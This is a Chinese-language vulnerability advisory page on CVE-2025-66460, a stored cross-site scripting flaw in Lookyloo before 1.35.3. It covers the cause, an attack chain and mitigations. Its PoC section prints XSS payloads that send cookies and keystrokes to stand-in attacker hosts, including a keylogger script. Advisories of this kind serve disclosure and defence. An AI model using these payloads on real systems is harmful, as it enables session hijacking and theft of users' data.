IPBUF安全漏洞报告
English
CVE-2025-66460 CVSS 6.1 中危

CVE-2025-66460 Lookyloo跨站脚本漏洞

披露日期: 2025-12-02

漏洞信息

漏洞编号
CVE-2025-66460
漏洞类型
XSS跨站脚本
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Lookyloo

相关标签

CVE-2025-66460XSS跨站脚本LookylooDataTables存储型XSSWeb安全输入验证HTML注入JavaScript注入

漏洞概述

CVE-2025-66460是Lookyloo项目中一个存储型跨站脚本(Stored XSS)漏洞。Lookyloo是一个开源的Web界面工具,允许用户捕获网站页面并以树状结构展示域名之间的调用关系。在1.35.3之前的版本中,该应用存在输入验证缺陷,将未正确转义的值传递给使用正交数据(orthogonal-data)功能的DataTables表格单元格进行渲染。由于用户提交的数据在存储和展示过程中缺少适当的HTML实体编码,攻击者可以注入恶意的JavaScript代码。当其他用户查看包含恶意数据的页面时,这些脚本将在其浏览器上下文中执行,可能导致会话劫持、敏感信息窃取或对页面内容进行篡改等安全风险。该漏洞通过网络远程利用,虽然需要用户交互(如点击链接或访问特定页面),但由于攻击路径简单,危害程度不容忽视。

技术细节

该漏洞的根本原因在于Lookyloo在处理用户输入时未遵循安全编码最佳实践。具体来说,当用户提交的数据被存储并通过DataTables的正交数据功能展示时,应用程序直接将数据传递给前端渲染层,而没有对特殊字符进行HTML实体转义。攻击者可以通过在输入字段中插入<script>标签或使用事件处理器属性(如onerror、onload等)来注入JavaScript代码。由于这些恶意数据被存储在服务器端并持久化显示,因此属于存储型XSS漏洞。DataTables的正交数据功能允许同一数据源以不同格式呈现给不同组件,但在此场景下未对输出进行适当的上下文转义。漏洞利用的关键在于找到接受用户可控输入的DataTables列,这些列会在弹出视图(popup view)和其他展示位置渲染数据。攻击者需要诱骗目标用户访问包含恶意脚本的页面或触发相关功能,脚本即可在用户浏览器中执行。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标Lookyloo实例版本,确认版本低于1.35.3,并定位存在XSS漏洞的输入点,通常是页面捕获功能中的用户可控字段。
STEP 2
步骤2: 恶意载荷注入
攻击者通过API或Web界面提交包含恶意JavaScript代码的请求,将XSS payload注入到DataTables正交数据字段中,payload被存储在服务器数据库中。
STEP 3
步骤3: 诱骗用户触发
攻击者通过钓鱼邮件、社交工程或其他方式诱骗目标用户访问包含恶意数据的特定页面,或触发DataTables渲染该记录的功能。
STEP 4
步骤4: XSS执行与数据窃取
当目标用户访问页面时,未转义的恶意JavaScript代码在用户浏览器上下文中执行,攻击者可窃取Cookie、会话令牌、页面内容,或执行进一步的攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-66460 PoC - Stored XSS via DataTables orthogonal-data --> <!-- Target: Lookyloo < 1.35.3 --> <!-- Method 1: Script tag injection --> <script>alert(document.cookie)</script> <!-- Method 2: Event handler injection --> <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> <!-- Method 3: SVG-based injection --> <svg/onload=fetch('https://attacker.com/exfil?data='+btoa(document.domain))> <!-- Practical exploitation payload --> <script> // Cookie stealing and session hijacking var cookies = document.cookie; fetch('https://attacker-controlled-server.com/log?c=' + btoa(cookies)); // Keylogger example document.addEventListener('keypress', function(e) { fetch('https://attacker-controlled-server.com/klog?k=' + e.key); }); </script> <!-- Exploitation steps: 1. Identify Lookyloo instance < 1.35.3 2. Find input fields that populate DataTables columns 3. Submit malicious payload in any user-controlled field 4. Wait for admin/user to view the data 5. XSS executes in victim's browser context -->

影响范围

Lookyloo < 1.35.3

防御指南

临时缓解措施
在无法立即升级的情况下,可采取以下临时缓解措施:1)通过Web应用防火墙(WAF)规则过滤常见的XSS payload模式;2)临时禁用或限制DataTables的正交数据功能;3)对关键操作启用额外的用户确认机制;4)监控日志中的可疑请求特征。但这些措施仅为临时方案,根本解决仍需升级到修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表